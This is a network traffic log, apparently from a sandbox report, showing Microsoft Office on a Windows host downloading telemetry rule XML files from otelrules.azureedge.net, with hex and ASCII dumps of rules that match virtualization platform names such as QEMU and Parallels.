2024-10-18 21:46:29 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.5	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:30 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:30 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:30 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 9ee74c80-201e-0033-35d8-1eb167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214630Z-r197bdfb6b4qz2jg69037h393n00000005eg00000000f05b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:30 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.5	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:31 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:31 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:31 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: caad3713-c01e-0034-63d8-1e2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214631Z-16b659b4499hn29ks1ddp5hvac0000000d2g00000000rv2y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:31 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.5	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:31 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:31 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:31 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 783e300b-401e-00ac-05d8-1e0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214631Z-16b659b4499bnwsctrq8dt6ghw0000000afg0000000036p7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 21:46:31 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.5	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:31 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:31 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:31 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 746b139f-101e-00a2-24d8-1e9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214631Z-15b8d89586fsx9lfqmgrbzpgmg00000005t000000000a80c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:31 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.5	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:31 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:31 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:31 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 90caf802-701e-001e-1cd8-1ef5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214631Z-16b659b44994sn4705n0hqcu3c00000009pg00000000d0ch x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:31 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.5	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:31 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:31 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:31 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 98ba4995-901e-00a0-7ad8-1e6a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214631Z-r197bdfb6b49k6rshrw4zhxpu00000000c3000000000mvuh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:31 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.5	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:31 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:32 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:31 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: e635f68c-501e-0029-54d8-1ed0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214631Z-r197bdfb6b4kzncfk35mqx2yu40000000c4g000000007g41 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:32 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.5	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:31 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:32 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:32 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: ad40b2af-901e-0064-67d8-1ee8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214631Z-r197bdfb6b4ld6jca8vdwzkams00000000gg000000007v3e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 21:46:32 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.5	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:31 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:32 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:31 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 0c0228f0-601e-0084-03d8-1e6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214631Z-16b659b4499t9g2t855zkdgzd00000000cbg000000003yyf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:32 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.5	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:31 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:32 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:31 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: edd4371e-d01e-0028-3cd8-1e7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214631Z-r197bdfb6b4tq6ld2w31u8wmcc0000000c7000000000e9dg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:32 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.5	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:32 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:32 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:32 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 9d49eb5a-b01e-0001-477b-1f46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214632Z-r197bdfb6b42sc4ddemybqpm140000000c3g00000000t0sy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:32 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.5	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:32 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
